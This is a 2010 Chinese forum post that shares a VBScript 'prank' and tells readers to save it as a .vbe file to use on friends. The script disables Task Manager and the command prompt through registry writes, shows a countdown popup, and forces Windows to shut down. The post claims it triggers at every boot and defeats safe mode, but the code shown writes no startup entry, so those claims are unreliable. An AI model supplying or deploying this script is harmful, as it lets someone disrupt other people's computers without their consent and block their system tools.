2o10签约▂▁_残韩 家族论坛
2o10签约▂▁_残韩 家族论坛
2o10签约▂▁_残韩 家族论坛
Would you like to react to this message? Create an account in a few clicks or log in to continue.
2o10签约▂▁_残韩 家族论坛

2o10签约▂▁_残韩 家族论坛我们的群是 113483740 YY是 264144
 
首页首页  搜索搜索  Latest imagesLatest images  登录  注册注册  

 

 2010整你没理由

向下 
作者留言
M.主流ㄨ滴
M.主流ㄨ成员



帖子数 : 18
注册日期 : 10-08-16

2010整你没理由 Empty
帖子主题: 2010整你没理由   2010整你没理由 Icon_minitime周五 八月 20, 2010 10:02 pm

代码如下:set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,
此代码的威力:
1:开机就强制自动关机
2:cmd命令打不开
3:结束任务不管用
4:F8安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,

PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。
返回页首 向下
 
2010整你没理由
返回页首 
1页/共1

您在这个论坛的权限:不能在这个论坛回复主题
2o10签约▂▁_残韩 家族论坛 :: 2o10签约▂▁_残韩-
转跳到: